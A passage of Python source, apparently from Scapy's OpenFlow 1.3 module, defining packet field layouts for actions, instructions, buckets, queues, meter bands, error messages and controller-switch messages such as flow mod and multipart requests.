"OFPAT_POP_PBB" fields_desc = [ShortEnumField("type", 27, ofp_action_types), ShortField("len", 4)] class OFPATExperimenterID(OFPATID): name = "OFPAT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_action_types), ShortField("len", None)] ofp_action_id_cls = {0: OFPATOutputID, 1: OFPATSetVLANVIDID, 2: OFPATSetVLANPCPID, 3: OFPATStripVLANID, 4: OFPATSetDlSrcID, 5: OFPATSetDlDstID, 6: OFPATSetNwSrcID, 7: OFPATSetNwDstID, 8: OFPATSetNwToSID, 9: OFPATSetTpSrcID, 10: OFPATSetTpDstID, # 11: OFPATEnqueueID, 11: OFPATCopyTTLOutID, 12: OFPATCopyTTLInID, 13: OFPATSetMPLSLabelID, 14: OFPATSetMPLSTCID, 15: OFPATSetMPLSTTLID, 16: OFPATDecMPLSTTLID, 17: OFPATPushVLANID, 18: OFPATPopVLANID, 19: OFPATPushMPLSID, 20: OFPATPopMPLSID, 21: OFPATSetQueueID, 22: OFPATGroupID, 23: OFPATSetNwTTLID, 24: OFPATDecNwTTLID, 25: OFPATSetFieldID, 26: OFPATPushPBBID, 27: OFPATPopPBBID, 65535: OFPATExperimenterID} # Instructions # ofp_instruction_types = {1: "OFPIT_GOTO_TABLE", 2: "OFPIT_WRITE_METADATA", 3: "OFPIT_WRITE_ACTIONS", 4: "OFPIT_APPLY_ACTIONS", 5: "OFPIT_CLEAR_ACTIONS", 6: "OFPIT_METER", 65535: "OFPIT_EXPERIMENTER"} class OFPIT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_instruction_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPITGotoTable(OFPIT): name = "OFPIT_GOTO_TABLE" fields_desc = [ShortEnumField("type", 1, ofp_instruction_types), ShortField("len", 8), ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad", 0)] class OFPITWriteMetadata(OFPIT): name = "OFPIT_WRITE_METADATA" fields_desc = [ShortEnumField("type", 2, ofp_instruction_types), ShortField("len", 24), XIntField("pad", 0), LongField("metadata", 0), LongField("metadata_mask", 0)] class OFPITWriteActions(OFPIT): name = "OFPIT_WRITE_ACTIONS" fields_desc = [ShortEnumField("type", 3, ofp_instruction_types), ShortField("len", None), XIntField("pad", 0), PacketListField("actions", [], OFPAT, length_from=lambda pkt:pkt.len - 8)] class OFPITApplyActions(OFPIT): name = "OFPIT_APPLY_ACTIONS" fields_desc = [ShortEnumField("type", 4, ofp_instruction_types), ShortField("len", None), XIntField("pad", 0), PacketListField("actions", [], OFPAT, length_from=lambda pkt:pkt.len - 8)] class OFPITClearActions(OFPIT): name = "OFPIT_CLEAR_ACTIONS" fields_desc = [ShortEnumField("type", 5, ofp_instruction_types), ShortField("len", 8), XIntField("pad", 0)] class OFPITMeter(OFPIT): name = "OFPIT_METER" fields_desc = [ShortEnumField("type", 6, ofp_instruction_types), ShortField("len", 8), IntEnumField("meter_id", 1, ofp_meter)] class OFPITExperimenter(OFPIT): name = "OFPIT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_instruction_types), ShortField("len", None), IntField("experimenter", 0)] ofp_instruction_cls = {1: OFPITGotoTable, 2: OFPITWriteMetadata, 3: OFPITWriteActions, 4: OFPITApplyActions, 5: OFPITClearActions, 6: OFPITMeter, 65535: OFPITExperimenter} # Instruction IDs # # length is computed as in instruction structures, # so we reuse _ofp_header class OFPITID(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_instruction_id_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPITGotoTableID(OFPITID): name = "OFPIT_GOTO_TABLE" fields_desc = [ShortEnumField("type", 1, ofp_instruction_types), ShortField("len", 4)] class OFPITWriteMetadataID(OFPITID): name = "OFPIT_WRITE_METADATA" fields_desc = [ShortEnumField("type", 2, ofp_instruction_types), ShortField("len", 4)] class OFPITWriteActionsID(OFPITID): name = "OFPIT_WRITE_ACTIONS" fields_desc = [ShortEnumField("type", 3, ofp_instruction_types), ShortField("len", 4)] class OFPITApplyActionsID(OFPITID): name = "OFPIT_APPLY_ACTIONS" fields_desc = [ShortEnumField("type", 4, ofp_instruction_types), ShortField("len", 4)] class OFPITClearActionsID(OFPITID): name = "OFPIT_CLEAR_ACTIONS" fields_desc = [ShortEnumField("type", 5, ofp_instruction_types), ShortField("len", 4)] class OFPITMeterID(OFPITID): name = "OFPIT_METER" fields_desc = [ShortEnumField("type", 6, ofp_instruction_types), ShortField("len", 4)] class OFPITExperimenterID(OFPITID): name = "OFPIT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_instruction_types), ShortField("len", None)] ofp_instruction_id_cls = {1: OFPITGotoTableID, 2: OFPITWriteMetadataID, 3: OFPITWriteActionsID, 4: OFPITApplyActionsID, 5: OFPITClearActionsID, 6: OFPITMeterID, 65535: OFPITExperimenterID} # Buckets # class OFPBucket(_ofp_header_item): name = "OFP_BUCKET" fields_desc = [ShortField("len", None), ShortField("weight", 0), IntEnumField("watch_port", 0, ofp_port_no), IntEnumField("watch_group", 0, ofp_group), XIntField("pad", 0), PacketListField("actions", [], OFPAT, length_from=lambda pkt:pkt.len - 16)] def extract_padding(self, s): return b"", s # Queues # ofp_queue_property_types = {0: "OFPQT_NONE", 1: "OFPQT_MIN_RATE"} class OFPQT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_queue_property_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPQTNone(OFPQT): name = "OFPQT_NONE" fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 8), XIntField("pad", 0)] class OFPQTMinRate(OFPQT): name = "OFPQT_MIN_RATE" fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), XIntField("pad1", 0), ShortField("rate", 0), XBitField("pad2", 0, 48)] ofp_queue_property_cls = {0: OFPQTNone, 1: OFPQTMinRate} class OFPPacketQueue(Packet): name = "OFP_PACKET_QUEUE" fields_desc = [IntEnumField("queue_id", 0, ofp_queue), ShortField("len", None), XShortField("pad", 0), PacketListField("properties", [], OFPQT, length_from=lambda pkt:pkt.len - 8)] # noqa: E501 def extract_padding(self, s): return b"", s def post_build(self, p, pay): if self.properties == []: p += raw(OFPQTNone()) if self.len is None: tmp_len = len(p) + len(pay) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay # Meter bands # ofp_meter_band_types = {0: "OFPMBT_DROP", 1: "OFPMBT_DSCP_REMARK", 65535: "OFPMBT_EXPERIMENTER"} class OFPMBT(_ofp_header): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] return ofp_meter_band_cls.get(t, Raw) return Raw def extract_padding(self, s): return b"", s class OFPMBTDrop(OFPMBT): name = "OFPMBT_DROP" fields_desc = [ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), XIntField("pad", 0)] class OFPMBTDSCPRemark(OFPMBT): name = "OFPMBT_DSCP_REMARK" fields_desc = [ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), ByteField("prec_level", 0), X3BytesField("pad", 0)] class OFPMBTExperimenter(OFPMBT): name = "OFPMBT_EXPERIMENTER" fields_desc = [ShortEnumField("type", 65535, ofp_queue_property_types), ShortField("len", 16), IntField("rate", 0), IntField("burst_size", 0), IntField("experimenter", 0)] ofp_meter_band_cls = {0: OFPMBTDrop, 1: OFPMBTDSCPRemark, 2: OFPMBTExperimenter} ##################################################### # OpenFlow 1.3 Messages # ##################################################### ofp_version = {0x01: "OpenFlow 1.0", 0x02: "OpenFlow 1.1", 0x03: "OpenFlow 1.2", 0x04: "OpenFlow 1.3", 0x05: "OpenFlow 1.4"} ofp_type = {0: "OFPT_HELLO", 1: "OFPT_ERROR", 2: "OFPT_ECHO_REQUEST", 3: "OFPT_ECHO_REPLY", 4: "OFPT_EXPERIMENTER", 5: "OFPT_FEATURES_REQUEST", 6: "OFPT_FEATURES_REPLY", 7: "OFPT_GET_CONFIG_REQUEST", 8: "OFPT_GET_CONFIG_REPLY", 9: "OFPT_SET_CONFIG", 10: "OFPT_PACKET_IN", 11: "OFPT_FLOW_REMOVED", 12: "OFPT_PORT_STATUS", 13: "OFPT_PACKET_OUT", 14: "OFPT_FLOW_MOD", 15: "OFPT_GROUP_MOD", 16: "OFPT_PORT_MOD", 17: "OFPT_TABLE_MOD", 18: "OFPT_MULTIPART_REQUEST", 19: "OFPT_MULTIPART_REPLY", 20: "OFPT_BARRIER_REQUEST", 21: "OFPT_BARRIER_REPLY", 22: "OFPT_QUEUE_GET_CONFIG_REQUEST", 23: "OFPT_QUEUE_GET_CONFIG_REPLY", 24: "OFPT_ROLE_REQUEST", 25: "OFPT_ROLE_REPLY", 26: "OFPT_GET_ASYNC_REQUEST", 27: "OFPT_GET_ASYNC_REPLY", 28: "OFPT_SET_ASYNC", 29: "OFPT_METER_MOD"} class OFPTHello(_ofp_header): name = "OFPT_HELLO" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 0, ofp_type), ShortField("len", None), IntField("xid", 0), PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)] ##################################################### # OFPT_ERROR # ##################################################### ofp_error_type = {0: "OFPET_HELLO_FAILED", 1: "OFPET_BAD_REQUEST", 2: "OFPET_BAD_ACTION", 3: "OFPET_BAD_INSTRUCTION", 4: "OFPET_BAD_MATCH", 5: "OFPET_FLOW_MOD_FAILED", 6: "OFPET_GROUP_MOD_FAILED", 7: "OFPET_PORT_MOD_FAILED", 8: "OFPET_TABLE_MOD_FAILED", 9: "OFPET_QUEUE_OP_FAILED", 10: "OFPET_SWITCH_CONFIG_FAILED", 11: "OFPET_ROLE_REQUEST_FAILED", 12: "OFPET_METER_MOD_FAILED", 13: "OFPET_TABLE_FEATURES_FAILED", 65535: "OFPET_EXPERIMENTER"} class OFPETHelloFailed(_ofp_header): name = "OFPET_HELLO_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 0, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPHFC_INCOMPATIBLE", 1: "OFPHFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETBadRequest(_ofp_header): name = "OFPET_BAD_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 1, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBRC_BAD_VERSION", 1: "OFPBRC_BAD_TYPE", 2: "OFPBRC_BAD_MULTIPART", 3: "OFPBRC_BAD_EXPERIMENTER", 4: "OFPBRC_BAD_EXP_TYPE", 5: "OFPBRC_EPERM", 6: "OFPBRC_BAD_LEN", 7: "OFPBRC_BUFFER_EMPTY", 8: "OFPBRC_BUFFER_UNKNOWN", 9: "OFPBRC_BAD_TABLE_ID", 10: "OFPBRC_IS_SLAVE", 11: "OFPBRC_BAD_PORT", 12: "OFPBRC_BAD_PACKET", 13: "OFPBRC_MULTIPART_BUFFER_OVERFLOW"}), # noqa: E501 OFPacketField("data", "", Raw)] class OFPETBadAction(_ofp_header): name = "OFPET_BAD_ACTION" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 2, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBAC_BAD_TYPE", 1: "OFPBAC_BAD_LEN", 2: "OFPBAC_BAD_EXPERIMENTER", 3: "OFPBAC_BAD_EXP_TYPE", 4: "OFPBAC_BAD_OUT_PORT", 5: "OFPBAC_BAD_ARGUMENT", 6: "OFPBAC_EPERM", 7: "OFPBAC_TOO_MANY", 8: "OFPBAC_BAD_QUEUE", 9: "OFPBAC_BAD_OUT_GROUP", 10: "OFPBAC_MATCH_INCONSISTENT", # noqa: E501 11: "OFPBAC_UNSUPPORTED_ORDER", # noqa: E501 12: "OFPBAC_BAD_TAG", 13: "OFPBAC_BAD_SET_TYPE", 14: "OFPBAC_BAD_SET_LEN", 15: "OFPBAC_BAD_SET_ARGUMENT"}), # noqa: E501 OFPacketField("data", "", Raw)] class OFPETBadInstruction(_ofp_header): name = "OFPET_BAD_INSTRUCTION" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 3, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBIC_UNKNOWN_INST", 1: "OFPBIC_UNSUP_INST", 2: "OFPBIC_BAD_TABLE_ID", 3: "OFPBIC_UNSUP_METADATA", 4: "OFPBIC_UNSUP_METADATA_MASK", # noqa: E501 5: "OFPBIC_BAD_EXPERIMENTER", 6: "OFPBIC_BAD_EXP_TYPE", 7: "OFPBIC_BAD_LEN", 8: "OFPBIC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETBadMatch(_ofp_header): name = "OFPET_BAD_MATCH" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 4, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPBMC_BAD_TYPE", 1: "OFPBMC_BAD_LEN", 2: "OFPBMC_BAD_TAG", 3: "OFPBMC_BAD_DL_ADDR_MASK", 4: "OFPBMC_BAD_NW_ADDR_MASK", 5: "OFPBMC_BAD_WILDCARDS", 6: "OFPBMC_BAD_FIELD", 7: "OFPBMC_BAD_VALUE", 8: "OFPBMC_BAD_MASK", 9: "OFPBMC_BAD_PREREQ", 10: "OFPBMC_DUP_FIELD", 11: "OFPBMC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETFlowModFailed(_ofp_header): name = "OFPET_FLOW_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 5, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPFMFC_UNKNOWN", 1: "OFPFMFC_TABLE_FULL", 2: "OFPFMFC_BAD_TABLE_ID", 3: "OFPFMFC_OVERLAP", 4: "OFPFMFC_EPERM", 5: "OFPFMFC_BAD_TIMEOUT", 6: "OFPFMFC_BAD_COMMAND", 7: "OFPFMFC_BAD_FLAGS"}), OFPacketField("data", "", Raw)] class OFPETGroupModFailed(_ofp_header): name = "OFPET_GROUP_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 6, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPGMFC_GROUP_EXISTS", 1: "OFPGMFC_INVALID_GROUP", 2: "OFPGMFC_WEIGHT_UNSUPPORTED", # noqa: E501 3: "OFPGMFC_OUT_OF_GROUPS", 4: "OFPGMFC_OUT_OF_BUCKETS", 5: "OFPGMFC_CHAINING_UNSUPPORTED", # noqa: E501 6: "OFPGMFC_WATCH_UNSUPPORTED", # noqa: E501 7: "OFPGMFC_LOOP", 8: "OFPGMFC_UNKNOWN_GROUP", 9: "OFPGMFC_CHAINED_GROUP", 10: "OFPGMFC_BAD_TYPE", 11: "OFPGMFC_BAD_COMMAND", 12: "OFPGMFC_BAD_BUCKET", 13: "OFPGMFC_BAD_WATCH", 14: "OFPFMFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETPortModFailed(_ofp_header): name = "OFPET_PORT_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 7, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPPMFC_BAD_PORT", 1: "OFPPMFC_BAD_HW_ADDR", 2: "OFPPMFC_BAD_CONFIG", 3: "OFPPMFC_BAD_ADVERTISE", 4: "OFPPMFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETTableModFailed(_ofp_header): name = "OFPET_TABLE_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 8, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPTMFC_BAD_TABLE", 1: "OFPTMFC_BAD_CONFIG", 2: "OFPTMFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETQueueOpFailed(_ofp_header): name = "OFPET_QUEUE_OP_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 9, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPQOFC_BAD_PORT", 1: "OFPQOFC_BAD_QUEUE", 2: "OFPQOFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETSwitchConfigFailed(_ofp_header): name = "OFPET_SWITCH_CONFIG_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 10, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPSCFC_BAD_FLAGS", 1: "OFPSCFC_BAD_LEN", 2: "OFPSCFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETRoleRequestFailed(_ofp_header): name = "OFPET_ROLE_REQUEST_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 11, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPRRFC_STALE", 1: "OFPRRFC_UNSUP", 2: "OFPRRFC_BAD_ROLE"}), OFPacketField("data", "", Raw)] class OFPETMeterModFailed(_ofp_header): name = "OFPET_METER_MOD_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 12, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPMMFC_UNKNOWN", 1: "OFPMMFC_METER_EXISTS", 2: "OFPMMFC_INVALID_METER", 3: "OFPMMFC_UNKNOWN_METER", 4: "OFPMMFC_BAD_COMMAND", 5: "OFPMMFC_BAD_FLAGS", 6: "OFPMMFC_BAD_RATE", 7: "OFPMMFC_BAD_BURST", 8: "OFPMMFC_BAD_BAND", 9: "OFPMMFC_BAD_BAND_VALUE", 10: "OFPMMFC_OUT_OF_METERS", 11: "OFPMMFC_OUT_OF_BANDS"}), OFPacketField("data", "", Raw)] class OFPETTableFeaturesFailed(_ofp_header): name = "OFPET_TABLE_FEATURES_FAILED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 13, ofp_error_type), ShortEnumField("errcode", 0, {0: "OFPTFFC_BAD_TABLE", 1: "OFPTFFC_BAD_METADATA", 2: "OFPTFFC_BAD_TYPE", 3: "OFPTFFC_BAD_LEN", 4: "OFPTFFC_BAD_ARGUMENT", 5: "OFPTFFC_EPERM"}), OFPacketField("data", "", Raw)] class OFPETExperimenter(_ofp_header): name = "OFPET_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", "OFPET_EXPERIMENTER", ofp_error_type), # noqa: E501 ShortField("exp_type", None), IntField("experimenter", None), OFPacketField("data", "", Raw)] # ofp_error_cls allows generic method OpenFlow3() # to choose the right class for dissection ofp_error_cls = {0: OFPETHelloFailed, 1: OFPETBadRequest, 2: OFPETBadAction, 3: OFPETBadInstruction, 4: OFPETBadMatch, 5: OFPETFlowModFailed, 6: OFPETGroupModFailed, 7: OFPETPortModFailed, 8: OFPETTableModFailed, 9: OFPETQueueOpFailed, 10: OFPETSwitchConfigFailed, 11: OFPETRoleRequestFailed, 12: OFPETMeterModFailed, 13: OFPETTableFeaturesFailed, 65535: OFPETExperimenter} # end of OFPT_ERRORS # class OFPTEchoRequest(_ofp_header): name = "OFPT_ECHO_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 2, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTEchoReply(_ofp_header): name = "OFPT_ECHO_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 3, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTExperimenter(_ofp_header): name = "OFPT_EXPERIMENTER" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 4, ofp_type), ShortField("len", None), IntField("xid", 0), IntField("experimenter", 0), IntField("exp_type", 0)] class OFPTFeaturesRequest(_ofp_header): name = "OFPT_FEATURES_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 5, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTFeaturesReply(_ofp_header): name = "OFPT_FEATURES_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 6, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("datapath_id", 0), IntField("n_buffers", 0), ByteField("n_tables", 1), ByteField("auxiliary_id", 0), XShortField("pad", 0), FlagsField("capabilities", 0, 32, ["FLOW_STATS", "TABLE_STATS", "PORT_STATS", "GROUP_STATS", "RESERVED", # undefined "IP_REASM", "QUEUE_STATS", "ARP_MATCH_IP", # undefined # noqa: E501 "PORT_BLOCKED"]), IntField("reserved", 0)] class OFPTGetConfigRequest(_ofp_header): name = "OFPT_GET_CONFIG_REQUEST" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 7, ofp_type), ShortField("len", None), IntField("xid", 0)] class OFPTGetConfigReply(_ofp_header): name = "OFPT_GET_CONFIG_REPLY" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 8, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 0)] class OFPTSetConfig(_ofp_header): name = "OFPT_SET_CONFIG" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 9, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, {0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK"}), ShortField("miss_send_len", 128)] class OFPTPacketIn(_ofp_header): name = "OFPT_PACKET_IN" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 10, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortField("total_len", 0), ByteEnumField("reason", 0, {0: "OFPR_NO_MATCH", 1: "OFPR_ACTION", 2: "OFPR_INVALID_TTL"}), ByteEnumField("table_id", 0, ofp_table), LongField("cookie", 0), MatchField("match"), XShortField("pad", 0), PacketField("data", "", Ether)] class OFPTFlowRemoved(_ofp_header): name = "OFPT_FLOW_REMOVED" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 11, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("cookie", 0), ShortField("priority", 0), ByteEnumField("reason", 0, {0: "OFPRR_IDLE_TIMEOUT", 1: "OFPRR_HARD_TIMEOUT", 2: "OFPRR_DELETE", 3: "OFPRR_GROUP_DELETE"}), ByteEnumField("table_id", 0, ofp_table), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), LongField("packet_count", 0), LongField("byte_count", 0), MatchField("match")] class OFPTPortStatus(_ofp_header): name = "OFPT_PORT_STATUS" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 12, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("reason", 0, {0: "OFPPR_ADD", 1: "OFPPR_DELETE", 2: "OFPPR_MODIFY"}), XBitField("pad", 0, 56), PacketField("desc", OFPPort(), OFPPort)] class OFPTPacketOut(_ofp_header): name = "OFPT_PACKET_OUT" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 13, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), IntEnumField("in_port", "CONTROLLER", ofp_port_no), FieldLenField("actions_len", None, fmt="H", length_of="actions"), # noqa: E501 XBitField("pad", 0, 48), PacketListField("actions", [], OFPAT, OFPAT, length_from=lambda pkt:pkt.actions_len), PacketField("data", "", Ether)] class OFPTFlowMod(_ofp_header): name = "OFPT_FLOW_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 14, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("cookie", 0), LongField("cookie_mask", 0), ByteEnumField("table_id", 0, ofp_table), ByteEnumField("cmd", 0, {0: "OFPFC_ADD", 1: "OFPFC_MODIFY", 2: "OFPFC_MODIFY_STRICT", 3: "OFPFC_DELETE", 4: "OFPFC_DELETE_STRICT"}), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), ShortField("priority", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), IntEnumField("out_port", "ANY", ofp_port_no), IntEnumField("out_group", "ANY", ofp_group), FlagsField("flags", 0, 16, ["SEND_FLOW_REM", "CHECK_OVERLAP", "RESET_COUNTS", "NO_PKT_COUNTS", "NO_BYT_COUNTS"]), XShortField("pad", 0), MatchField("match"), PacketListField("instructions", [], OFPIT, length_from=lambda pkt:pkt.len - 48 - (pkt.match.len + (8 - pkt.match.len % 8) % 8))] # noqa: E501 # include match padding to match.len class OFPTGroupMod(_ofp_header): name = "OFPT_GROUP_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 15, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("cmd", 0, {0: "OFPGC_ADD", 1: "OFPGC_MODIFY", 2: "OFPGC_DELETE"}), ByteEnumField("group_type", 0, {0: "OFPGT_ALL", 1: "OFPGT_SELECT", 2: "OFPGT_INDIRECT", 3: "OFPGT_FF"}), XByteField("pad", 0), IntEnumField("group_id", 0, ofp_group), PacketListField("buckets", [], OFPBucket, length_from=lambda pkt:pkt.len - 16)] class OFPTPortMod(_ofp_header): name = "OFPT_PORT_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("port_no", 0, ofp_port_no), XIntField("pad1", 0), MACField("hw_addr", "0"), XShortField("pad2", 0), FlagsField("config", 0, 32, ofp_port_config), FlagsField("mask", 0, 32, ofp_port_config), FlagsField("advertise", 0, 32, ofp_port_features), XIntField("pad3", 0)] class OFPTTableMod(_ofp_header): name = "OFPT_TABLE_MOD" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("table_id", 0, ofp_table), X3BytesField("pad", 0), IntEnumField("config", 0, {3: "OFPTC_DEPRECATED_MASK"})] ##################################################### # OFPT_MULTIPART # ##################################################### ofp_multipart_types = {0: "OFPMP_DESC", 1: "OFPMP_FLOW", 2: "OFPMP_AGGREGATE", 3: "OFPMP_TABLE", 4: "OFPMP_PORT_STATS", 5: "OFPMP_QUEUE", 6: "OFPMP_GROUP", 7: "OFPMP_GROUP_DESC", 8: "OFPMP_GROUP_FEATURES", 9: "OFPMP_METER", 10: "OFPMP_METER_CONFIG", 11: "OFPMP_METER_FEATURES", 12: "OFPMP_TABLE_FEATURES", 13: "OFPMP_PORT_DESC", 65535: "OFPST_VENDOR"} ofpmp_request_flags = ["REQ_MORE"] ofpmp_reply_flags = ["REPLY_MORE"] class OFPMPRequestDesc(_ofp_header): name = "OFPMP_REQUEST_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 0, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad", 0)] class OFPMPReplyDesc(_ofp_header): name = "OFPMP_REPLY_DESC" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 19, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 0, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_reply_flags), XIntField("pad", 0), StrFixedLenField("mfr_desc", "", 256), StrFixedLenField("hw_desc", "", 256), StrFixedLenField("sw_desc", "", 256), StrFixedLenField("serial_num", "", 32), StrFixedLenField("dp_desc", "", 256)] class OFPMPRequestFlow(_ofp_header): name = "OFPMP_REQUEST_FLOW" fields_desc = [ByteEnumField("version", 0x04, ofp_version), ByteEnumField("type", 18, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("mp_type", 1, ofp_multipart_types), FlagsField("flags", 0, 16, ofpmp_request_flags), XIntField("pad1", 0), ByteEnumField("table_id", "ALL", ofp_table), X3BytesField("pad2", 0), IntEnumField("out_port", "ANY", ofp_port_no), 